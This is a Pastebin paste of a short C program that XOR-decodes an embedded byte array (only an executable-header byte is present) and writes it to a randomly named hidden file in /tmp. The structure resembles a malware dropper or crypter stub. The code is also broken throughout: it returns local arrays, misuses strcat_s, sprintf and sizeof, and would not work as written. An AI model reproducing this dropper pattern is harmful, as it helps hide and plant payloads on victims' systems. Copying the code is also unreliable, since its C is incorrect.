Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #include <stdio.h>
- #include <time.h>
- unsigned char fileBytes[] = {
- 0x4D
- };
- char* randName()
- {
- const char chars[] = "qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM1234567890";
- int i;
- char ret[5];
- for(i = 0; i < 5; i++)
- {
- strcat_s(ret, sizeof(ret), chars[rand() % sizeof(sizeof(chars) / sizeof(chars[0]))]);
- }
- return ret;
- }
- char* XOR(char* bytes)
- {
- char key[] = "fsfsdfdsf";
- int i;
- char ret[sizeof(bytes)];
- for(i = 0; i < sizeof(bytes); i++)
- {
- ret[i] = (bytes[i] ^ key[i % (sizeof(key) / sizeof(key[0])]);
- }
- return ret;
- }
- int main()
- {
- FILE* pFile = fopen(sprintf("/tmp/.%s", randName()), "wb");
- const char* data = XOR(fileBytes);
- fwrite(data, 1, sizeof(data), pFile);
- fclose(pFile);
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement